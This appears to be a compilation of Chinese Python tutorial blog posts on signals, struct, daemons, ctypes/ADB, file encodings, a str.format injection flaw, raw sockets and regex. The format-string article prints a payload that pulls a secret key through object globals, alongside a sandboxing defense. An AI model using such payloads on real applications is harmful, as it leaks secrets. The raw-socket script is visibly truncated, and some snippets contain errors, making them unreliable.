    53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
    58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
    63) SIGRTMAX-1  64) SIGRTMAX
    root@server:~#

> 信号：进程之间通讯的方式，是一种软件中断。一个进程一旦接收到信号就会打断原来的程序执行流程来处理信号。操作系统规定了进程收到信号以后的默认行为，但是，我
们可以通过绑定信号处理函数来修改进程收到信号以后的行为，有两个信号是不可更改的SIGTOP和SIGKILL。

发送信号一般有两种原因:

1(被动式)  内核检测到一个系统事件.例如子进程退出会像父进程发送SIGCHLD信号.键盘按下control+c会发送SIGINT信号

2(主动式)  通过系统调用kill来向指定进程发送信号

在C语言中有个setitimer函数，函数setitimer可以提供三种定时器，它们相互独立，任意一个定时完成都将发送定时信号到进程，并且自动重新计时。参数
which确定了定时器的类型：

ITIMER_REAL       定时真实时间，与alarm类型相同。              SIGALRM

ITIMER_VIRT       定时进程在用户态下的实际执行时间。            SIGVTALRM

ITIMER_PROF       定时进程在用户态和核心态下的实际执行时间。      SIGPROF

这三种定时器定时完成时给进程发送的信号各不相同，其中ITIMER_REAL类定时器发送SIGALRM信号，ITIMER_VIRT类定时器发送SIGVTALR
M信号，ITIMER_REAL类定时器发送SIGPROF信号。

函数alarm本质上设置的是低精确、非重载的ITIMER_REAL类定时器，它只能精确到秒，并且每次设置只能产生一次定时。函数setitimer设置的定时器
则不同，它们不但可以计时到微妙（理论上），还能自动循环定时。在一个Unix进程中，不能同时使用alarm和ITIMER_REAL类定时器。

SIGINT    终止进程     中断进程  (control+c)

SIGTERM   终止进程     软件终止信号

SIGKILL   终止进程     杀死进程

SIGALRM   闹钟信号

前期的知识也准备的差不多了，该向python的signal进军了。

定义信号名

signal包定义了各个信号名及其对应的整数，比如



    import signal
    print signal.SIGALRM
    print signal.SIGCONT

Python所用的信号名和Linux一致。你可以通过



    $man 7 signal

查询

预设信号处理函数

signal包的核心是使用signal.signal()函数来预设(register)信号处理函数，如下所示：



    singnal.signal(signalnum, handler)

signalnum为某个信号，handler为该信号的处理函数。我们在信号基础里提到，进程可以无视信号，可以采取默认操作，还可以自定义操作。当handler
为signal.SIG_IGN时，信号被无视(ignore)。当handler为singal.SIG_DFL，进程采取默认操作(default)。当hand
ler为一个函数名时，进程采取函数中定义的操作。



    import signal
    # Define signal handler function
    def myHandler(signum, frame):
      print('I received: ', signum)
     
    # register signal.SIGTSTP's handler 
    signal.signal(signal.SIGTSTP, myHandler)
    signal.pause()
    print('End of Signal Demo')

在主程序中，我们首先使用signal.signal()函数来预设信号处理函数。然后我们执行signal.pause()来让该进程暂停以等待信号，以等待信号。
当信号SIGUSR1被传递给该进程时，进程从暂停中恢复，并根据预设，执行SIGTSTP的信号处理函数myHandler()。myHandler的两个参数一个
用来识别信号(signum)，另一个用来获得信号发生时，进程栈的状况(stack
frame)。这两个参数都是由signal.singnal()函数来传递的。

上面的程序可以保存在一个文件中(比如test.py)。我们使用如下方法运行:



    $python test.py

以便让进程运行。当程序运行到signal.pause()的时候，进程暂停并等待信号。此时，通过按下CTRL+Z向该进程发送SIGTSTP信号。我们可以看到，
进程执行了myHandle()函数, 随后返回主程序，继续执行。(当然，也可以用$ps查询process ID, 再使用$kill来发出信号。)

(进程并不一定要使用signal.pause()暂停以等待信号，它也可以在进行工作中接受信号，比如将上面的signal.pause()改为一个需要长时间工作
的循环。)

我们可以根据自己的需要更改myHandler()中的操作，以针对不同的信号实现个性化的处理。

定时发出SIGALRM信号

一个有用的函数是signal.alarm()，它被用于在一定时间之后，向进程自身发送SIGALRM信号:



    import signal
    # Define signal handler function
    def myHandler(signum, frame):
      print("Now, it's the time")
      exit()
     
    # register signal.SIGALRM's handler 
    signal.signal(signal.SIGALRM, myHandler)
    signal.alarm(5)
    while True:
      print('not yet')

我们这里用了一个无限循环以便让进程持续运行。在signal.alarm()执行5秒之后，进程将向自己发出SIGALRM信号，随后，信号处理函数myHandl
er开始执行。

发送信号

signal包的核心是设置信号处理函数。除了signal.alarm()向自身发送信号之外，并没有其他发送信号的功能。但在os包中，有类似于linux的ki
ll命令的函数，分别为



    os.kill(pid, sid)
    os.killpg(pgid, sid)

分别向进程和进程组(见Linux进程关系)发送信号。sid为信号所对应的整数或者singal.SIG*。

实际上signal,
pause，kill和alarm都是Linux应用编程中常见的C库函数，在这里，我们只不过是用Python语言来实现了一下。实际上，Python
的解释器是使用C语言来编写的，所以有此相似性也并不意外。此外，在Python
3.4中，signal包被增强，信号阻塞等功能被加入到该包中。我们暂时不深入到该包中。

Python使用struct处理二进制(pack和unpack用法)

2018-01-01T00:00:00+08:00

# Python使用struct处理二进制(pack和unpack用法)

有的时候需要用python处理二进制数据，比如，存取文件，socket操作时.这时候，可以使用python的struct模块来完成.可以用
struct来处理c语言中的结构体.





struct模块中最重要的三个函数是pack(), unpack(), calcsize()



pack(fmt, v1, v2, ...)     按照给定的格式(fmt)，把数据封装成字符串(实际上是类似于c结构体的字节流)



unpack(fmt, string)       按照给定的格式(fmt)解析字节流string，返回解析出来的tuple



calcsize(fmt)                 计算给定的格式(fmt)占用多少字节的内存





struct中支持的格式如下表：



Format  C Type  Python  字节数

x   pad byte    no value    1

c   char    string of length 1  1

b   signed char integer 1

B   unsigned char   integer 1

?   _Bool   bool    1

h   short   integer 2

H   unsigned short  integer 2

i   int integer 4

I   unsigned int    integer or long 4

l   long    integer 4

L   unsigned long   long    4

q   long long   long    8

Q   unsigned long long  long    8

f   float   float   4

d   double  float   8

s   char[]  string  1

p   char[]  string  1

P   void *  long

注1.q和Q只在机器支持64位操作时有意思



注2.每个格式前可以有一个数字，表示个数



注3.s格式表示一定长度的字符串，4s表示长度为4的字符串，但是p表示的是pascal字符串



注4.P用来转换一个指针，其长度和机器字长相关



注5.最后一个可以用来表示指针类型的，占4个字节



为了同c中的结构体交换数据，还要考虑有的c或c++编译器使用了字节对齐，通常是以4个字节为单位的32位系统，故而struct根据本地机器字节顺序转换.可以用
格式中的第一个字符来改变对齐方式.定义如下：

Character   Byte order  Size and alignment

@   native  native            凑够4个字节

=   native  standard        按原字节数

<   little-endian   standard        按原字节数

>   big-endian  standard       按原字节数

!   network (= big-endian)

standard       按原字节数

使用方法是放在fmt的第一个位置，就像’@5s6sif’



例子1：



结构体如下：



    struct Header
    {
        unsigned short id;
        char[4] tag;
        unsigned int version;
        unsigned int count;
    }

通过socket.recv接收到了一个上面的结构体数据，存在字符串s中，现在需要把它解析出来，可以使用unpack()函数：



    import struct
    id, tag, version, count = struct.unpack("!H4s2I", s)

上面的格式字符串中，!表示我们要使用网络字节顺序解析，因为我们的数据是从网络中接收到的，在网络上传送的时候它是网络字节顺序的.后面的H表示
一个unsigned short的id,4s表示4字节长的字符串，2I表示有两个unsigned int类型的数据.



就通过一个unpack，现在id, tag, version, count里已经保存好我们的信息了.



同样，也可以很方便的把本地数据再pack成struct格式：



    ss = struct.pack("!H4s2I", id, tag, version, count);

pack函数就把id, tag, version,
count按照指定的格式转换成了结构体Header，ss现在是一个字符串(实际上是类似于c结构体的字节流)，可以通过
socket.send(ss)把这个字符串发送出去。



例子2：



    import struct
    a=12.34
    #将a变为二进制
    bytes=struct.pack('i',a)

此时bytes就是一个string字符串，字符串按字节同a的二进制存储内容相同。



再进行反操作，现有二进制数据bytes，（其实就是字符串），将它反过来转换成python的数据类型：



#注意，unpack返回的是tuple !!



    a,=struct.unpack('i',bytes)

如果是由多个数据构成的，可以这样：




    a='hello'
    b='world!'
    c=2
    d=45.123
    bytes=struct.pack('5s6sif',a,b,c,d)

此时的bytes就是二进制形式的数据了，可以直接写入文件比如 binfile.write(bytes)



然后，当我们需要时可以再读出来，bytes=binfile.read()



再通过struct.unpack()解码成python变量：



    a,b,c,d=struct.unpack('5s6sif',bytes)

’5s6sif’这个叫做fmt，就是格式化字符串，由数字加字符构成，5s表示占5个字符的字符串，2i，表示2个整数等等，下面是可用的字符及类型，ctype表
示可以与python中的类型一一对应。



注意：二进制文件处理时会碰到的问题



我们使用处理二进制文件时，需要用如下方法：



    binfile=open(filepath,'rb')    
    #读二进制文件
    binfile=open(filepath,'wb')   
    #写二进制文件

那么和binfile=open(filepath,’r')的结果到底有何不同呢？



不同之处有两个地方：



第一，使用’r'的时候如果碰到’0x1A’，就会视为文件结束，这就是EOF。使用’rb’则不存在这个问题。即，如果你用二进制写入再用文本读出的话，如果其中存
在’0X1A’，就只会读出文件的一部分。使用’rb’的时候会一直读到文件末尾。



第二，对于字符串x=’abc\ndef’，我们可用len(x)得到它的长度为7，\n我们称之为换行符，实际上是’0X0A’。当我们用’w'即文本方式写的时候
，在windows平台上会自动将’0X0A’变成两个字符’0X0D’，’0X0A’，即文件长度实际上变成8.。当用’r'文本方式读取时，又自动的转换成原来的
换行符。如果换成’wb’二进制方式来写的话，则会保持一个字符不变，读取时也是原样读取。所以如果用文本方式写入，用二进制方式读取的话，就要考虑这多出的一个字节
了。’0X0D’又称回车符。linux下不会变。因为linux只使用’0X0A’来表示换行。

Python守护进程（多线程开发）

2018-01-01T00:00:00+08:00

# Python守护进程（多线程开发）


    #!/usr/bin/python
    import sys,time,json,logging
    import Queue, threading, datetime
    from lib.base.daemon import Daemon
    from lib.queue.httpsqs.HttpsqsClient import HttpsqsClient
    from lib.db.DbMongodb import DbMongodb
    logging.basicConfig(level=logging.DEBUG,
                    format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',
                    datefmt='%a, %d %b %Y %H:%M:%S',
                    filename='myapp.log',
                    filemode='w')
                    
    queue = Queue.Queue()       
    httpsqs = HttpsqsClient('192.168.0.218','1218','httpsqs.com')
    db = DbMongodb('192.168.0.119','testdb')
            
    class ThreadGetHttpSqs(threading.Thread):
        def __init__(self):
            threading.Thread.__init__(self)
            self.httpsqs = httpsqs
            self.queue = queue
        
        def run(self):
            while True:
                data = self.httpsqs.get('logtest')
                if data is not None:
                    self.queue.put(data)
                    logging.info('get:id %s , tablename %s' % (self.getName(),data))
                else:
                    time.sleep(3)
                
                
                
    class ThreadInsertDB(threading.Thread):
        def __init__(self):
            threading.Thread.__init__(self)
            self.queue = queue
            self.db = db
            
        def run(self):
            while True:
                chunk = self.queue.get()
                s = json.loads(chunk)
                tablename = s['table']
                data = s['data']
                self.db.save(tablename,data)
                logging.info('insert:id %s , tablename %s' % (self.getName(),tablename))
                self.queue.task_done()
                
    class MyDaemon(Daemon):
        def _run(self):
            while True:
                for i in range(2):
                    t = ThreadGetHttpSqs()
                    #t.setDaemon(True)
                    t.start()
                
                for i in range(2):
                    b = ThreadInsertDB()
                    #t.setDaemon(True)
                    b.start()
                #线程已经为永真循环，进程不能再循环
                time.wait()
                
                    
                   
    if __name__ == "__main__":
        daemon = MyDaemon('/tmp/daemon-example.pid')
        if len(sys.argv) == 2:
            if 'start' == sys.argv[1]:
                daemon.start()
            elif 'stop' == sys.argv[1]:
                daemon.stop()
            elif 'restart' == sys.argv[1]:
                daemon.restart()
            else:
                print "Unknown command"
                sys.exit(2)
            sys.exit(0)
        else:
            print "usage: %s start|stop|restart" % sys.argv[0]
            sys.exit(2)

Python手机开发调用DLL实现部分ADB功能

2018-01-01T00:00:00+08:00

# Python手机开发调用DLL实现部分ADB功能

近期学了一点Python，然后正好有一个手机同步工具方面的预研工作要完成。

要实现PC与手机的通信，首先要找到他们的通信协议，还好的是Android有完善的协议：ADB

ADB的代码是开源的，而且支持Windows平台，有现成的DLL可以调用：AdbWinApi.dll，AdbWinUsbApi.dll

好了，可以用VC搞定，但我想用Python试一下，于是开始了苦逼的查资料+实验的过程。

实验过程就不多说了，由于上面的两个DLL都是用C实现的，提供的头文件也是C语言的，所以有了下面这个python测试程序（Python2.7）：



    import ctypes

    #自定义的GUID结构，有兴趣的可以自己研究用uuid模块  
    class GUID(ctypes.Structure): 
        _fields_ = [("Data1", ctypes.c_ulong), 
                    ("Data2", ctypes.c_ushort), 
                    ("Data3", ctypes.c_ushort), 
                    ("Data4", ctypes.c_ubyte*8)]

    #自己定义的一个结构体，便于使用DLL接口  
    class AdbInterfaceInfo(ctypes.Structure): 
        _fields_ = [("class_id", GUID), 
                    ("flags", ctypes.c_ulong), 
                    ("device_name", ctypes.c_wchar*800)]

    def strGUID(GUID): 
        string = '' 
        string = string + '%x' % buff.class_id.Data1 + '-%x' % buff.class_id.Data2 + '-%x' % buff.class_id.Data3 
        string = string + '-%x' % buff.class_id.Data4[0] 
        string = string + '%x' % buff.class_id.Data4[1] 
        string = string + '%x' % buff.class_id.Data4[2] 
        string = string + '%x' % buff.class_id.Data4[3] 
        string = string + '%x' % buff.class_id.Data4[4] 
        string = string + '%x' % buff.class_id.Data4[5] 
        string = string + '%x' % buff.class_id.Data4[6] 
        string = string + '%x' % buff.class_id.Data4[7] 
        return string

    dll = ctypes.cdll.LoadLibrary('AdbWinApi.dll') 
    usb_class_id = GUID(0xF72FE0D4, 0xCBCB, 0x407d, (0x88, 0x14, 0x9e, 0xd6, 0x73, 0xd0, 0xdd, 0x6b)) 
    enum_handle = dll.AdbEnumInterfaces(usb_class_id, ctypes.c_bool('true'), ctypes.c_bool('true'), ctypes.c_bool('true'))

    while(1): 
        buff = AdbInterfaceInfo() 
        size = ctypes.c_ulong(ctypes.sizeof(buff)) 
        status = dll.AdbNextInterface(enum_handle, ctypes.byref(buff), ctypes.byref(size))

        if status==1: 
            #print "GUID = " + strGUID(buff.class_id)  
            #print "status = " + str(status)  
            #print "Name = " + str(buff.device_name)  
            hAdbApi = dll.AdbCreateInterfaceByName(buff.device_name); 
            if hAdbApi == 0: 
                print 'AdbCreateInterfaceByName Fail'
            else: 
                serial = ' '*128
                pserial = ctypes.c_char_p() 
                pserial.value = serial 
                serial_len = ctypes.c_ulong(len(serial)) 
                ret = dll.AdbGetSerialNumber(hAdbApi, pserial, ctypes.byref(serial_len), ctypes.c_bool('false')); 
                if ret == 1: 
                    print 'Device Name: ' + '%s'% serial 
                else: 
                    print 'Get Device Name Fail'
        else: 
            print 'Finished'
            break
    import ctypes
    #自定义的GUID结构，有兴趣的可以自己研究用uuid模块
    class GUID(ctypes.Structure):
        _fields_ = [("Data1", ctypes.c_ulong),
                    ("Data2", ctypes.c_ushort),
                    ("Data3", ctypes.c_ushort),
                    ("Data4", ctypes.c_ubyte*8)]
    #自己定义的一个结构体，便于使用DLL接口
    class AdbInterfaceInfo(ctypes.Structure):
        _fields_ = [("class_id", GUID),
                    ("flags", ctypes.c_ulong),
                    ("device_name", ctypes.c_wchar*800)]
    def strGUID(GUID):
        string = ''
        string = string + '%x' % buff.class_id.Data1 + '-%x' % buff.class_id.Data2 + '-%x' % buff.class_id.Data3
        string = string + '-%x' % buff.class_id.Data4[0]
        string = string + '%x' % buff.class_id.Data4[1]
        string = string + '%x' % buff.class_id.Data4[2]
        string = string + '%x' % buff.class_id.Data4[3]
        string = string + '%x' % buff.class_id.Data4[4]
        string = string + '%x' % buff.class_id.Data4[5]
        string = string + '%x' % buff.class_id.Data4[6]
        string = string + '%x' % buff.class_id.Data4[7]
        return string
    dll = ctypes.cdll.LoadLibrary('AdbWinApi.dll')
    usb_class_id = GUID(0xF72FE0D4, 0xCBCB, 0x407d, (0x88, 0x14, 0x9e, 0xd6, 0x73, 0xd0, 0xdd, 0x6b))
    enum_handle = dll.AdbEnumInterfaces(usb_class_id, ctypes.c_bool('true'), ctypes.c_bool('true'), ctypes.c_bool('true'))
    while(1):
        buff = AdbInterfaceInfo()
        size = ctypes.c_ulong(ctypes.sizeof(buff))
        status = dll.AdbNextInterface(enum_handle, ctypes.byref(buff), ctypes.byref(size))
        if status==1:
            #print "GUID = " + strGUID(buff.class_id)
            #print "status = " + str(status)
            #print "Name = " + str(buff.device_name)
            hAdbApi = dll.AdbCreateInterfaceByName(buff.device_name);
            if hAdbApi == 0:
                print 'AdbCreateInterfaceByName Fail'
            else:
                serial = ' '*128
                pserial = ctypes.c_char_p()
                pserial.value = serial
                serial_len = ctypes.c_ulong(len(serial))
                ret = dll.AdbGetSerialNumber(hAdbApi, pserial, ctypes.byref(serial_len), ctypes.c_bool('false'));
                if ret == 1:
                    print 'Device Name: ' + '%s'% serial
                else:
                    print 'Get Device Name Fail'
        else:
            print 'Finished'
            break



上面这个简单的Python代码，可以通过AdbWinApi.dll和AdbWinUsbApi.dll这两个DLL来找到你PC上正连接着的Android设备。

只调用了3个DLL接口，但目的已经达到，可以得出下面的结论：

使用Python调用DLL的方式来实现ADB工具是可行的，当然麻烦是不会少的了。

写在最后，Python调用C写的DLL还是比较麻烦的，特别是参数传递，尤其是指针的处理，这方面还得依靠ctypes模块。。。

Python文件读写详解及设置文件的字符编码

2018-01-01T00:00:00+08:00

# Python文件读写详解及设置文件的字符编码

文件读写操作在各种编程语言中都是比较重要的部分，也是很常用的部分，今天就来详细说一下python对文件的读写操作，以及需要注意的点。

### 一. python打开文件

代码如下：



    f = open("d:\test.txt", "w")

说明：

第一个参数是文件名称，包括路径；

第二个参数是打开的模式mode



‘r’：只读（缺省。如果文件不存在，则抛出错误）

‘w’：只写（如果文件不存在，则自动创建文件）

‘a’：附加到文件末尾

‘r+’：读写

如果需要以二进制方式打开文件，需要在mode后面加上字符”b”，比如”rb””wb”等



### 二、python读取文件内容f.read([size])

参数size表示读取的数量，可以省略。如果省略size参数，则表示读取文件所有内容。

f.readline()读取文件一行的内容 f.readlines()读取所有的行到数组里面[line1,line2,…lineN]。



    f = open('./pythontab.txt', 'r')
    content = f.read()
    print content

在避免将所有文件内容加载到内存中，这种方法常常使用，便于提高效率。



### 三、python写入文件f.write(string)

将一个字符串写入文件



    f = open('./pythontab.txt', 'r+')
    f.write('Hello, Pythontab.com')
    f.close()

注意： 如果写入结束，可以在字符串后面加上”\n”来表示换行，最后必须用f.close()关闭文件。否则可能会出现异常，特别是在高并发的情况下。



### 四、文件中的内容定位

f.read()读取之后，文件指针到达文件的末尾，如果再来一次f.read()将会发现读取的是空内容，如果想再次读取全部内容，必须将定位指针移动到文件开始：

f.seek(0)

这个函数的格式如下（单位是bytes）：f.seek(offset, from_what)
from_what表示开始读取的位置，offset表示从from_what再移动一定量的距离，比如f.seek(10,
3)表示定位到第三个字符并再后移10个字符。

from_what值为0时表示文件的开始，它也可以省略，缺省是0即文件开头。下面给出一个完整的例子：



    f = open('./pythontab.txt', 'r+')
    f.write('Hello, Pythontab.com')
    f.seek(5)     # 定位到第6个byte
    f.read(1)        
    f.seek (-3, 2) #定位到第2个字符并再向前移动3个字符
    f.read(1)



### 五、关闭文件

关闭文件释放资源文件操作完毕，一定要记得关闭文件f.close()，可以释放资源供其他程序使只是ASCII或者gbk编码格式的的文件读写，比较简单，读写如下
：



    # coding=gbk
    f = open('./pythontab.txt','r') # r 指示文件打开模式，即只读
    s1 = f.read()
    s2 = f.readline()
    s3 = f.readlines() #读出所有内容
    f.close()
    f = open('./pythontab.txt','w') # w 写文件
    11 f.write(s1)
    12 f.writelines(s2) # 没有writeline
    13 f.close()



### 六. f.writelines不会输出换行符

python unicode文件读写：



    # coding=gbk
    import codecs
    f = codecs.open('./pythontab.txt','a','utf-8')
    f.write(u'中文')
    s = '中文'
    f.write(s.decode('gbk'))
    f.close()
    f = codecs.open('./pythontab.txt','r','utf-8')
    s = f.readlines()
    f.close()
    for line in s:
        print line.encode('gbk')



### 七. python代码文件的编码

py文件默认是ASCII编码，中文在显示时会做一个ASCII到系统默认编码的转换，这时就会出错：SyntaxError: Non-ASCII
character。需要在代码文件的第一行或第二行添加编码指示：



# coding=utf-8 ##以utf-8编码储存中文字符

print ‘中文’像上面那样直接输入的字符串是按照代码文件的编码来处理的，如果用unicode编码，有以下2种方式：

s1 = u’中文’ #u表示用unicode编码方式储存信息

s2 = unicode(‘中文’,’gbk’)

unicode是一个内置函数，第二个参数指示源字符串的编码格式。

decode是任何字符串具有的方法，将字符串转换成unicode格式，参数指示源字符串的编码格式。

encode也是任何字符串具有的方法，将字符串转换成参数指定的格式。



#### python字符串的编码



用 u’汉字’ 构造出来的是unicode类型，不用的话构造出来是str类型



str的编码是与系统环境相关的，一般就是sys.getfilesystemencoding()得到的值



所以从unicode转str，要用encode方法



从str转unicode，所以要用decode



例如：



    # coding=utf-8   #默认编码格式为utf-8
    s = u'中文' #unicode编码的文字
    print s.encode('utf-8')   #转换成utf-8格式输出 
    print s #效果与上面相同，似乎默认直接转换为指定编码

#### 总结：

u=u'unicode编码文字'

g=u.encode('gbk') #转换为gbk格式

print g #此时为乱码，因为当前环境为utf-8,gbk编码文字为乱码

str=g.decode('gbk').encode('utf-8')   #以gbk编码格式读取g（因为他就是gbk编码的）并转换为utf-8格式输出

print str #正常显示中文



安全的方法：

s.decode('gbk','ignore').encode('utf-8′) #以gbk编码读取（当然是读取gbk编码格式的文字了）并忽略错误的编码
，转换成utf-8编码输出

因为decode的函数原型是decode([encoding],
[errors='strict'])，可以用第二个参数控制错误处理的策略，默认的参数就是strict，代表遇到非法字符时抛出异常；



如果设置为ignore，则会忽略非法字符；

如果设置为replace，则会用?取代非法字符；

如果设置为xmlcharrefreplace，则使用XML的字符引用。

Python新型字符串格式漏洞分析及解决方案

2018-01-01T00:00:00+08:00

# Python新型字符串格式漏洞分析及解决方案

最近一个python字符串格式化的漏洞引起了我的注意，今天就来说一下Python引入的一种格式化字符串的新型语法的安全漏洞进行了深入的分析，并提供了相应的安
全解决方案。

当我们对不可信的用户输入使用str.format的时候，将会带来安全隐患——对于这个问题，其实我早就知道了，但是直到今天我才真正意识到它的严重性。因为攻击者
可以利用它来绕过Jinja2沙盒，这会造成严重的信息泄露问题。同时，我在本文最后部分为str.format提供了一个新的安全版本。

需要提醒的是，这是一个相当严重的安全隐患，这里之所以撰文介绍，是因为大多数人很可能不知道它是多么容易被利用。

### 核心问题

从Python 2.6开始，Python受.NET启发而引入了一种格式化字符串的新型语法。当然，除了Python之外，Rust及其他一些编程语言也支持这种语
法。借助于.format（）方法，该语法可以应用到字节和unicode字符串（在Python
3中，只能用于unicode字符串）上面，此外，它还能映射为更加具有可定制性的string.Formatter API。

 该语法的一个特点是，人们可以通过它确定出字符串格式的位置和关键字参数，并且随时可以显式对数据项重新排序。此外，它甚至可以访问对象的属性和数据项——这是导致
这里的安全问题的根本原因。

 总的来说，人们可以利用它来进行以下事情：



    >>> 'class of {0} is {0.__class__}'.format(42)
    "class of 42 is "

实质上，任何能够控制格式字符串的人都有可能访问对象的各种内部属性。

### 问题出在哪里？

第一个问题是，如何控制格式字符串。可以从下列地方下手：

1.字符串文件中不可信的翻译器。我们很可能通过它们得手，因为许多被翻译成多种语言的应用程序都会用到这种新式Python字符串格式化方法，但是并非所有人都会对
输入的所有字符串进行全面的审查。

2.用户暴露的配置。 由于一些系统用户可以对某些行为进行配置，而这些配置有可能以格式字符串的形式被暴露出来。需要特别提示的是，我就见过某些用户可以通过Web
应用程序来配置通知邮件、日志消息格式或其他基本模板。

### 危险等级

如果只是向该格式字符串传递C解释器对象的话，倒是不会有太大的危险，因为这样的话，你最多会暴露一些整数类之类的东西。

然而，一旦Python对象被传递给这种格式字符串的话，那就麻烦了。这是因为，能够从Python函数暴露的东西的数量是相当惊人的。
下面是假想的Web应用程序的情形，这种情况下能够泄露密钥：





    CONFIG = {
        'SECRET_KEY': 'super secret key'
    }
     
    class Event(object):
        def __init__(self, id, level, message):
            self.id = id
            self.level = level
            self.message = message
     
    def format_event(format_string, event):
        return format_string.format(event=event)

如果用户可以在这里注入format_string，那么他们就能发现下面这样的秘密字符串：



    {event.__init__.__globals__[CONFIG][SECRET_KEY]}

### 将格式化作沙箱化处理

那么，如果需要让其他人提供格式化字符串，那该怎么办呢？ 其实，可以利用某些未公开的内部机制来改变字符串格式化行为。



    from string import Formatter
    from collections import Mapping
     
    class MagicFormatMapping(Mapping):
        """This class implements a dummy wrapper to fix a bug in the Python
        standard library for string formatting.
     
        See http://bugs.python.org/issue13598 for information about why
        this is necessary.
        """
     
        def __init__(self, args, kwargs):
            self._args = args
            self._kwargs = kwargs
            self._last_index = 0
     
        def __getitem__(self, key):
            if key == '':
                idx = self._last_index
                self._last_index += 1
                try:
                    return self._args[idx]
                except LookupError:
                    pass
                key = str(idx)
            return self._kwargs[key]
     
        def __iter__(self):
            return iter(self._kwargs)
     
        def __len__(self):
            return len(self._kwargs)
     
    # This is a necessary API but it's undocumented and moved around
    # between Python releases
    try:
        from _string import formatter_field_name_split
    except ImportError:
        formatter_field_name_split = lambda \
            x: x._formatter_field_name_split()
    {C} 
    class SafeFormatter(Formatter):
     
        def get_field(self, field_name, args, kwargs):
            first, rest = formatter_field_name_split(field_name)
            obj = self.get_value(first, args, kwargs)
            for is_attr, i in rest:
                if is_attr:
                    obj = safe_getattr(obj, i)
                else:
                    obj = obj[i]
            return obj, first
     
    def safe_getattr(obj, attr):
        # Expand the logic here.  For instance on 2.x you will also need
        # to disallow func_globals, on 3.x you will also need to hide
        # things like cr_frame and others.  So ideally have a list of
        # objects that are entirely unsafe to access.
        if attr[:1] == '_':
            raise AttributeError(attr)
        return getattr(obj, attr)
     
    def safe_format(_string, *args, **kwargs):
        formatter = SafeFormatter()
        kwargs = MagicFormatMapping(args, kwargs)
        return formatter.vformat(_string, args, kwargs)

现在，我们就可以使用safe_format方法来替代str.format了：



    >>> '{0.__class__}'.format(42)
    ""
    >>> safe_format('{0.__class__}', 42)
    Traceback (most recent call last):
      File "", line 1, in
    AttributeError: __class__



### 总结：

程序开发中有这么一句话：任何时候不要相信用户的输入！现在看来这句话说得非常有道理。所以各位同学要谨记！

Python原始套接字编程

2018-01-01T00:00:00+08:00

# Python原始套接字编程

在实验中需要自己构造单独的HTTP数据报文，而使用SOCK_STREAM进行发送数据包，需要进行完整的TCP交互。

因此想使用原始套接字进行编程，直接构造数据包，并在IP层进行发送，即采用SOCK_RAW进行数据发送。

使用SOCK_RAW的优势是，可以对数据包进行完整的修改，可以处理IP层上的所有数据包，对各字段进行修改，而不受UDP和TCP的限制。

下面开始构造HTTP数据包，

IP层和TCP层使用python的Impacket库，http内容自行填写。



    #!/usr/bin/env python
     
    #-------------------------------------------------------------------------------
    # Name:     raw_http.py
    # Purpose:       construct a raw http get packet
    #
    # Licence:   PythonTab.com    
    #-------------------------------------------------------------------------------
     
    import sys
    import socket
    from impacket import ImpactDecoder, ImpactPacket
     
    def main():
     
        if len(sys.argv) = 1:
            # Calculate its checksum.
            seq_id = seq_id + 1
            tcp.set_th_seq(seq_id)
            tcp.calculate_checksum()
     
            # Send it to the target host.
            s.sendto(ip.get_packet(), (dst,80))
            cnt= cnt -1
     
    if __name__ == '__main__':
        main()

Python正则表达式的七个使用范例

2018-01-01T00:00:00+08:00

# Python正则表达式的七个使用范例

作为一个概念而言，正则表达式对于Python来说并不是独有的。但是，Python中的正则表达式在实际使用过程中还是有一些细小的差别。

本文是一系列关于Python正则表达式文章的其中一部分。在这个系列的第一篇文章中，我们将重点讨论如何使用Python中的正则表达式并突出Python中一些独
有的特性。

我们将介绍Python中对字符串进行搜索和查找的一些方法。然后我们讲讨论如何使用分组来处理我们查找到的匹配对象的子项。

我们有兴趣使用的Python中正则表达式的模块通常叫做‘re'。



    >>> import re

#### 1\. Python中的原始类型字符串

Python编译器用‘\'（反斜杠）来表示字符串常量中的转义字符。

如果反斜杠后面跟着一串编译器能够识别的特殊字符，那么整个转义序列将被替换成对应的特殊字符（例如，‘\n'将被编译器替换成换行符）。

但这给在Python中使用正则表达式带来了一个问题，因为在‘re'模块中也使用反斜杠来转义正则表达式中的特殊字符（比如*和+）。

这两种方式的混合意味着有时候你不得不转义转义字符本身（当特殊字符能同时被Python和正则表达式的编译器识别的时候），但在其他时候你不必这么做（如果特殊字符
只能被Python编译器识别）。

与其将我们的心思放在去弄懂到底需要多少个反斜杠，我们可以使用原始字符串来替代。

原始类型字符串可以简单的通过在普通字符串的双引号前面加一个字符‘r'来创建。当一个字符串是原始类型时，Python编译器不会对其尝试做任何的替换。本质上来讲
，你在告诉编译器完全不要去干涉你的字符串。



    >>> string = 'This is a\nnormal string'
    >>> rawString = r'and this is a\nraw string'
    >>> print string

这是一个普通字符串



    >>> print rawString
    and this is a\nraw string

这是一个原始类型字符串。

在Python中使用正则表达式进行查找

‘re'模块提供了几个方法对输入的字符串进行确切的查询。我们将会要讨论的方法有：



    •re.match()
    •re.search()
    •re.findall()

每一个方法都接收一个正则表达式和一个待查找匹配的字符串。让我们更详细的查看这每一个方法从而弄明白他们是如何工作的以及他们各有什么不同。

#### 2\. 使用re.match查找 – 匹配开始

让我们先来看一下match()方法。match()方法的工作方式是只有当被搜索字符串的开头匹配模式的时候它才能查找到匹配对象。

举个例子，对字符串‘dog cat dog'调用mathch()方法，查找模式‘dog'将会匹配：



    >>> re.match(r'dog', 'dog cat dog')
    <_sre.SRE_Match object at 0xb743e720<
    >>> match = re.match(r'dog', 'dog cat dog')
    >>> match.group(0)
    'dog'

我们稍后将更多的讨论group()方法。现在，我们只需要知道我们用0作为它的参数调用了它，group()方法返回查找到的匹配的模式。

我还暂且略过了返回的SRE_Match对象，我们很快也将会讨论到它。

但是，如果我们对同一个字符串调用math()方法，查找模式‘cat'，则不会找到匹配。



    >>> re.match(r'cat', 'dog cat dog')
    >>>

#### 3\. 使用re.search查找 – 匹配任意位置

search()方法和match()类似，不过search()方法不会限制我们只从字符串的开头查找匹配，因此在我们的示例字符串中查找‘cat'会查找到一个匹
配：



    search(r'cat', 'dog cat dog')
    >>> match.group(0)
    'cat'

然而search()方法会在它查找到一个匹配项之后停止继续查找，因此在我们的示例字符串中用searc()方法查找‘dog'只找到其首次出现的位置。



    >>> match = re.search(r'dog', 'dog cat dog')
